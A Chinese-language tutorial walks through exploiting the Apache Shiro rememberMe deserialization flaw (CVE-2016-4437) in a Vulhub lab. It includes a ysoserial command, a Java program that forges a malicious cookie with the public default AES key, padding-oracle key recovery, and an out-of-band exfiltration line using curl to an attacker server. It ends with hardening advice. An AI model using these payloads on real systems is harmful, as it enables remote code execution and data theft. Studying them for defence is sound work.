Java反序列化漏洞实战:从Shiro RememberMe到RCE利用链剖析
1. 项目概述:一次对Shiro反序列化漏洞的深度实战剖析
最近在整理内部安全审计的案例库,翻到了一个几年前的老项目,其中涉及Apache Shiro框架的反序列化漏洞攻防。这个案例非常经典,几乎涵盖了从漏洞发现、原理分析、利用链构造到最终防御加固的全过程。Shiro作为Java领域广泛使用的安全框架,其历史漏洞的利用方式至今在渗透测试和红蓝对抗中仍有很高的参考价值。今天,我就以这个“JAVA攻防-Shiro专题”为引子,结合断点调试、多种利用链(URLDNS、CommonsCollections、CommonsBeanutils)的构造、以及Shiro特有的AES密钥与加密逻辑,带大家走一遍完整的漏洞分析与利用实战。无论你是正在学习Java安全的初学者,还是想深化漏洞原理理解的安全从业者,这篇文章都能为你提供一个清晰的、可复现的路径。我们会绕过那些泛泛而谈的理论,直接切入代码和调试现场,把每一个关键步骤背后的“为什么”讲清楚。
2. 漏洞原理与Shiro安全机制深度拆解
要理解Shiro的反序列化漏洞,首先得明白它在Web应用中扮演的角色以及它的工作流程。Shiro的核心功能之一是会话(Session)管理。在用户登录后,Shiro会创建一个会话标识,并将其序列化、加密后,通过Cookie(默认名为rememberMe)发送给浏览器。当下次请求时,浏览器会带回这个Cookie,Shiro服务端会对其进行解密、反序列化,从而恢复用户的会话状态。这个设计的初衷是为了实现“记住我”功能,避免用户频繁登录。
2.1 加密与序列化的关键流程
漏洞的根源就藏在这个流程里。我们来看一下Shiro 1.2.4及之前版本处理rememberMeCookie的简化逻辑:
- 序列化:将用户的会话信息(一个Java对象)通过Java原生序列化机制转换成字节数组。
- 加密:使用一个固定的AES密钥(CBC模式),对这个字节数组进行加密。
- 编码:将加密后的密文进行Base64编码,然后设置为Cookie值。
服务端验证时,则反向操作:Base64解码 -> AES解密 -> 反序列化。
这里存在一个致命问题:AES密钥是硬编码在框架代码中的。在早期版本中,默认的密钥kPH+bIxk5D2deZiIxcaaaA==是公开的。这意味着,攻击者如果知道了这个密钥,就可以自己构造一个恶意的序列化数据,加密编码后伪装成合法的rememberMeCookie发送给服务器。服务器会用相同的密钥解密,并毫无戒备地对解密后的数据进行反序列化。
注意:即使后来Shiro在新版本中改为在初始化时生成随机密钥,但如果开发人员在配置文件中手动指定了一个弱密钥或公开的密钥,同样会引入风险。这就是常说的“Shiro 550”漏洞(CVE-2016-4437)的核心。
2.2 反序列化利用的入口:DefaultSecurityManager
在Shiro中,负责处理Cookie的类是CookieRememberMeManager。其getRememberedSerializedIdentity方法会获取Cookie值,然后交给convertBytesToPrincipals方法。后者会调用decrypt方法解密,最终调用deserialize方法进行反序列化。
// 简化逻辑示意 byte[] bytes = Base64.decode(cookieValue); byte[] serialized = decrypt(bytes); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(serialized)); Object obj = ois.readObject(); // 危险的反序列化点!这个readObject()就是Java反序列化漏洞的经典入口。一旦我们能够控制输入流中的数据,并且类路径上存在可利用的“链”(一组通过方法调用串联起来的类),就能实现远程代码执行(RCE)。
3. 利用链的选型、构造与调试环境搭建
知道了漏洞点,下一步就是构造攻击载荷(Payload)。Java反序列化利用链有很多,我们需要选择在目标环境中最可能存在的链。Shiro漏洞利用中,最常见的有三条链:URLDNS、CommonsCollections(CC链)和CommonsBeanutils(CB链)。
3.1 利用链特性分析与选型思路
- URLDNS链:这是最常用作“探测”的链。它不执行命令,而是会发起一次DNS查询。它的巨大优势是不依赖任何第三方库,只利用Java内置的
java.net.URL和HashMap等类。因此,只要目标存在反序列化点,几乎100%可以用URLDNS来验证漏洞是否存在。在Shiro场景下,我们首先用它来确认密钥是否正确、漏洞是否可触发。 - CommonsCollections链:这是最著名的“攻击”链之一。它依赖Apache Commons Collections库。该库在老版本(3.2.1及以下,4.0以下)中存在一系列可以构造任意代码执行的Transformer类。由于历史原因,很多Java Web项目都引用了这个库,使得CC链的通用性极高。Shiro早期版本自身也可能依赖它。
- CommonsBeanutils链:这是CC链的一个“变种”或“替代品”。它依赖Apache Commons Beanutils库。在某些环境中,可能没有Commons Collections但有Beanutils(或者CC版本较高已修复),此时CB链就派上用场了。它利用
BeanComparator和PropertyUtils来触发恶意调用。
选型策略:实战中,我们通常采用“由简到繁,由探测到攻击”的策略。
- 先用URLDNS链验证漏洞和密钥。
- 如果URLDNS成功(收到DNS日志),则尝试CC链的通用Payload。
- 如果CC链不成功(可能因为库版本或类名问题),再尝试CB链。
- 如果都不行,可能需要结合目标系统的其他依赖(如Fastjson、XStream等)寻找新的利用链。
3.2 本地调试环境快速搭建
要深入理解,光看理论不行,必须动手调试。我建议按以下步骤搭建一个最简化的调试环境:
准备漏洞环境:使用Vulhub或自己搭建一个包含Shiro 1.2.4的Web应用。这里以Vulhub的
shiro-1.2.4为例,使用Docker快速启动。# 进入vulhub/shiro/CVE-2016-4437目录 docker-compose up -d应用启动后,通常访问
http://your-ip:8080即可看到一个登录页面。准备攻击与调试工具:
- Java IDE:IntelliJ IDEA 或 Eclipse。
- 反序列化利用工具:推荐使用现成的工具生成Payload,同时学习其源码。例如
ysoserial(需自行编译)或shiro-attack这类集成了Shiro加密的专项工具。 - Burp Suite:用于拦截和重放HTTP请求,插入我们的恶意Cookie。
关键:将Shiro源码导入IDE并配置远程调试。这是理解加密解密和反序列化过程的核心。
- 在Docker启动命令或
docker-compose.yml中为Java应用添加调试参数:# 在java命令中添加 environment: JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 - 在IDE中新建一个“Remote JVM Debug”配置,主机填Docker宿主机的IP,端口填5005。
- 重新启动Docker容器,并在IDE中连接调试器。在
CookieRememberMeManager的decrypt和deserialize方法上打上断点。
- 在Docker启动命令或
现在,当你发送一个请求时,IDE就会在断点处暂停,你可以一步步查看解密后的字节流,以及反序列化是如何被触发的。这个直观的感受至关重要。
4. 从零构造攻击Payload:加密、编码与发送
有了调试环境和利用链知识,我们来实战构造一个攻击Payload。整个过程分为四步:生成恶意序列化数据、用Shiro的密钥加密、Base64编码、放入HTTP请求。
4.1 生成序列化数据(以URLDNS链为例)
我们先用ysoserial生成一个URLDNS链的Payload,目标是让目标服务器向我们控制的DNS服务器发起查询,以此证明漏洞存在。
# 假设ysoserial.jar已就绪 java -jar ysoserial.jar URLDNS "http://your-dns-log-domain.dnslog.cn" > payload.ser这条命令会生成一个包含恶意序列化对象的二进制文件payload.ser。其中的your-dns-log-domain.dnslog.cn可以替换成任何DNSLog平台提供的域名(如ceye.io, dnslog.cn),用于接收查询记录。
4.2 模拟Shiro的AES加密逻辑
Shiro的加密逻辑是固定的:AES/CBC/PKCS5Padding,IV(初始化向量)为全零。我们需要用与Shiro服务端完全相同的密钥和算法来加密我们的payload.ser。
这里提供一个简单的Java代码片段,用于完成加密和编码:
import org.apache.shiro.crypto.AesCipherService; import org.apache.shiro.codec.Base64; import org.apache.shiro.util.ByteSource; import java.nio.file.Files; import java.nio.file.Paths; public class ShiroPayloadGenerator { public static void main(String[] args) throws Exception { // 1. 读取序列化后的payload byte[] payloadBytes = Files.readAllBytes(Paths.get("payload.ser")); // 2. 使用Shiro默认密钥(或你已知的目标密钥) String defaultKey = "kPH+bIxk5D2deZiIxcaaaA=="; byte[] keyBytes = Base64.decode(defaultKey); // 3. 使用Shiro的AES服务进行加密 AesCipherService aes = new AesCipherService(); aes.setKeySize(128); // 密钥长度 // CBC模式,IV为零向量 ByteSource encrypted = aes.encrypt(payloadBytes, keyBytes); // 4. Base64编码,作为最终的Cookie值 String rememberMeCookie = Base64.encodeToString(encrypted.getBytes()); System.out.println("rememberMe=" + rememberMeCookie); } }运行这段代码,你会得到一长串Base64字符串,这就是我们最终的攻击载荷。
实操心得:很多现成的攻击工具(如shiro-attack)已经集成了这个流程。但自己手写一遍加密代码,能让你彻底理解Payload的生成过程,在遇到密钥修改或算法调整时,你能快速适配,而不是只会用工具。
4.3 组装HTTP请求并触发
最后一步,发送HTTP请求。使用Burp Suite抓取目标网站的任何请求(如GET/),然后修改或添加一个Cookie头:
Cookie: rememberMe=刚才生成的那一串很长的Base64字符串; JSESSIONID=...发送这个请求。如果漏洞存在且密钥正确,服务器会处理这个Cookie。
- 对于URLDNS链:稍等片刻,去你的DNSLog平台查看,应该能看到一条来自目标服务器IP的DNS查询记录。这确凿地证明了反序列化漏洞存在且可利用。
- 对于CC/CB链:如果命令执行成功,你可能会在目标服务器上看到新启动的进程、创建的文件,或者在你的监听端口收到一个反向Shell。
关键排查点:如果URLDNS没有触发,可能的原因有:
- 密钥不对(不是默认密钥)。
- 目标Shiro版本已修复,或
rememberMe功能被禁用。 - Payload在加密/编码过程中出错。
- 网络策略禁止DNS出站。
5. 高级利用技巧与疑难问题排查实录
在实际渗透测试中,情况往往比实验室环境复杂得多。下面分享几个我踩过的坑和对应的解决思路。
5.1 密钥的探测与获取
如果默认密钥无效,我们需要探测目标使用的密钥。一个常见的方法是“Padding Oracle Attack”。由于Shiro使用CBC模式且错误信息可能不同,我们可以通过精心构造的密文,根据服务器的响应(如500错误或200正常)来逐字节爆破出密钥。已有成熟工具如shiro-exploit、shiro-attack集成了这个攻击模块。原理是利用CBC模式的特性,通过判断解密后Padding是否正确来推断信息,最终计算出密钥。
5.2 利用链的兼容性与回显问题
- CC链版本问题:CC链有多个变种,如CC1、CC2、CC3、CC4、CC5、CC6、CC7等,适用于不同版本的Commons Collections库。工具通常会依次尝试。如果通用Payload不行,可能需要分析目标应用的
pom.xml或WEB-INF/lib目录下的jar包版本,针对性生成Payload。 - 命令执行无回显:很多时候,即使执行了命令,我们也看不到输出。这时需要采用“外带数据”(OOB)的方式。
- DNS外带:使用
curl http://your-server/$(whoami),通过DNS或HTTP日志查看命令结果。 - HTTP外带:将命令结果作为URL参数或请求体发送到你的服务器。
- 写入文件:将命令结果输出到Web目录下的一个文件,然后通过浏览器访问查看。
- DNS外带:使用
- Java版本限制:高版本Java(>=8u121)引入了JEP 290等安全机制,限制了反序列化时可加载的类,这会使很多利用链失效。此时可能需要寻找绕过JEP 290的新链,或者结合其他漏洞(如Tomcat EL表达式注入)进行利用。
5.3 断点调试在漏洞分析中的实战应用
回到我们开头搭建的调试环境。当发送一个恶意Cookie后,调试器会在deserialize处暂停。这时,你可以做几件非常有价值的事:
- 查看解密后的数据:在
decrypt方法后,查看解密得到的字节数组。你可以将其复制出来,保存为文件,然后用serializationdumper或直接ObjectInputStream读取,验证它是否是你发送的Payload结构。 - 跟踪反序列化过程:单步步入
readObject(),你会看到它开始读取你Payload中的类描述符。如果利用链生效,你会看到程序依次加载AnnotationInvocationHandler、LazyMap、ChainedTransformer等类(以CC1链为例)。这个过程能让你生动地理解“利用链”是如何像多米诺骨牌一样被推倒的。 - 分析利用失败原因:如果Payload没执行,在这里也能找到线索。例如,可能在加载某个类时抛出
ClassNotFoundException,这说明目标环境缺少相应的依赖库;或者触发了一些安全异常,这可能是由于Java安全策略或RASP(运行时应用自保护)拦截了。
5.4 防御措施与安全开发建议
作为防御方,了解攻击手段后,加固措施就非常明确了:
- 升级Shiro:立即升级到最新版本。新版本不仅修复了硬编码密钥问题,还提供了更安全的默认配置。
- 更换强密钥:如果因兼容性不能升级,务必在Shiro配置文件中(
shiro.ini或Spring配置)使用自己生成的、足够复杂且保密的AES密钥,并确保生产环境与开发环境的密钥不同。# shiro.ini 示例 securityManager.rememberMeManager.cipherKey = your_strong_base64_encoded_key_here - 禁用RememberMe:如果业务不需要“记住我”功能,直接关闭它。
- 全局反序列化过滤:在应用层面或通过Agent方式,使用反序列化过滤器,如
ObjectInputFilter(Java 9+)或开源库SerialKiller,只允许反序列化可信的白名单类。 - 移除危险依赖:检查并移除项目中不必要的、存在已知反序列化漏洞的第三方库,如老版本的Commons Collections、Beanutils等,或者升级到已修复的安全版本。
通过这次从原理到实战,从利用到防御的完整旅程,我们可以看到,一个看似简单的“记住我”功能,在安全设计上的疏忽会带来多么严重的后果。对于安全研究者,Shiro漏洞是一个绝佳的学习样本,它串联起了加密、序列化、Java反射、动态代理、类加载等多个核心知识点。对于开发者,它则是一个警钟,提醒我们框架的“默认配置”未必安全,依赖组件的版本管理至关重要。在平时开发中,多一步安全考量,在出现漏洞时,才能少一分应急的狼狈。
